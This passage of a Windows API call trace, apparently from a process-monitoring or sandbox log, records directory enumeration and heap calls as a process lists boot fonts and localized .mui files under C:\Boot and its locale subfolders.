	[0166.666] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef93ce3b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x281fb, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="msjh_boot.ttf", cAlternateFileName="MSJH_B~1.TTF")) returned 1
	[0166.666] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef94dfcd, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x25b3b, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="msyhn_boot.ttf", cAlternateFileName="MSYHN_~1.TTF")) returned 1
	[0166.666] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef95f141, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x26255, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="msyh_boot.ttf", cAlternateFileName="MSYH_B~1.TTF")) returned 1
	[0166.666] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef96ef3e, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf3b, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="segmono_boot.ttf", cAlternateFileName="SEGMON~1.TTF")) returned 1
	[0166.667] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c0da69, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef97d9ab, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x14f66, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="segoen_slboot.ttf", cAlternateFileName="SEGOEN~1.TTF")) returned 1
	[0166.667] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef98c419, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x150a2, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="segoe_slboot.ttf", cAlternateFileName="SEGOE_~1.TTF")) returned 1
	[0166.667] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1
	[0166.667] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0
	[0166.667] FindClose (in: hFindFile=0x6ac058 | out: hFindFile=0x6ac058) returned 1
	[0166.668] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0166.668] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-CA", cAlternateFileName="")) returned 1
	[0166.668] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0166.668] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-CA\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6abe58
	[0166.669] FindNextFileW (in: hFindFile=0x6abe58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0166.669] FindNextFileW (in: hFindFile=0x6abe58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0166.670] FindNextFileW (in: hFindFile=0x6abe58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0166.670] FindClose (in: hFindFile=0x6abe58 | out: hFindFile=0x6abe58) returned 1
	[0166.670] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0166.670] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-FR", cAlternateFileName="")) returned 1
	[0166.670] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0166.670] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6abf58
	[0166.670] FindNextFileW (in: hFindFile=0x6abf58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0166.670] FindNextFileW (in: hFindFile=0x6abf58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13558, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0166.670] FindNextFileW (in: hFindFile=0x6abf58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0166.671] FindNextFileW (in: hFindFile=0x6abf58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0166.671] FindClose (in: hFindFile=0x6abf58 | out: hFindFile=0x6abf58) returned 1
	[0166.671] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0166.671] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hr-HR", cAlternateFileName="")) returned 1
	[0166.671] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0166.671] FindFirstFileW (in: lpFileName="C:\\Boot\\hr-HR\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6ac058
	[0166.672] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0166.672] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0166.672] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0166.672] FindClose (in: hFindFile=0x6ac058 | out: hFindFile=0x6ac058) returned 1
	[0166.672] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0166.672] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hu-HU", cAlternateFileName="")) returned 1
	[0166.672] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0166.673] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6abe58
	[0166.673] FindNextFileW (in: hFindFile=0x6abe58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0166.673] FindNextFileW (in: hFindFile=0x6abe58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13360, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0166.673] FindNextFileW (in: hFindFile=0x6abe58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0166.673] FindNextFileW (in: hFindFile=0x6abe58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0166.673] FindClose (in: hFindFile=0x6abe58 | out: hFindFile=0x6abe58) returned 1
	[0166.673] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0166.673] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="it-IT", cAlternateFileName="")) returned 1
	[0166.673] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0166.674] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6ac058
	[0166.674] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0166.675] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0166.675] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0166.675] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0166.675] FindClose (in: hFindFile=0x6ac058 | out: hFindFile=0x6ac058) returned 1
	[0166.675] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0166.675] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ja-JP", cAlternateFileName="")) returned 1
	[0166.675] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0166.675] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6abb18
	[0166.676] FindNextFileW (in: hFindFile=0x6abb18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0166.676] FindNextFileW (in: hFindFile=0x6abb18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48c6596, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10760, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0166.676] FindNextFileW (in: hFindFile=0x6abb18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0166.676] FindNextFileW (in: hFindFile=0x6abb18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0166.677] FindClose (in: hFindFile=0x6abb18 | out: hFindFile=0x6abb18) returned 1
